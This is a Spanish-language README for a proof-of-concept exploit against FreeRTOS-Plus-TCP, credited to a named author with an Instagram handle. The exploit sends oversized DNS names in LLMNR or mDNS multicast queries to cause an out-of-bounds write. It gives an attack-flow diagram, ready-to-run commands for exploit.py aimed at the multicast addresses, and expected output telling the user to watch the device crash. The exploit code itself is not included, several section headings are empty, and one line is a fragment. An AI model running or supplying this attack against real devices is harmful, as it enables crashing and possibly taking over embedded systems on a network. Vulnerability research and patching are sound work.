
Corrupción de memoria remota / DoS / posible activación de RCE en FreeRTOS-Plus-TCP al procesar nombres DNS excesivamente largos en consultas LLMNR o mDNS (Esquema de asignación de búfer 1).
Autor del exploit: Mohammed Idrees Banyamer
País: Jordania
Instagram: @banyamer_security
Fecha: 26 de diciembre de 2025
Este PoC envía un paquete UDP multicast especialmente manipulado que contiene un nombre DNS excesivamente largo para desencadenar una escritura fuera de límites (CWE-787) en versiones vulnerables de FreeRTOS-Plus-TCP (v2.3.4 – v4.3.1 con LLMNR/mDNS + Esquema 1).
Síntomas comunes en dispositivos afectados:
Dispositivos afectados (ejemplos)
Corregido en: FreeRTOS-Plus-TCP 4.3.2 (se añadió validación estricta de longitud)
Referencias
graph TD
A[Attacker on same LAN] -->|"1. Craft oversized DNS name"| B["`UDP Packet
long QNAME (~500+ bytes)`"]
B -->|"2. Send to multicast"| C{Target Protocol}
C -->|LLMNR| D[224.0.0.252:5355]
C -->|mDNS| E[224.0.0.251:5353]
D --> F["`FreeRTOS-Plus-TCP
LLMNR/mDNS Parser`"]
E --> F
F -->|"No length check + Scheme 1"| G[Fixed-size buffer overflow]
G --> H["`Out-of-bounds Write
CWE-787`"]
H --> I{Outcome}
I -->|"Common"| J[Crash / Reboot / Watchdog]
I -->|"Memory layout dependent"| K[Potential RCE / Code Execution]
I -->|"Data after buffer"| L[Memory corruption / Info leak]
socket, sys) – sin paquetes externos# LLMNR attack (default multicast)
python3 exploit.py LLMNR
# mDNS attack
python3 exploit.py mDNS
# Custom multicast IP (rarely needed)
python3 exploit.py LLMNR 224.0.0.252
python3 exploit.py mDNS 224.0.0.251
Salida esperada:
[+] Sending 523-byte LLMNR query → target 224.0.0.252:5355
[+] Sent. Watch for immediate crash, reboot, LED blink loop, or freeze.
Este código se proporciona únicamente con fines educativos, de investigación y de demostración de vulnerabilidades.
NO utilice este exploit contra ningún sistema o red sin el permiso explícito por escrito del propietario.
El uso no autorizado puede violar leyes (leyes de fraude y abuso informático, etc.).
El autor no es responsable de ningún uso indebido o daño.
Licencia MIT – consulte el archivo LICENSE (o añada uno si falta).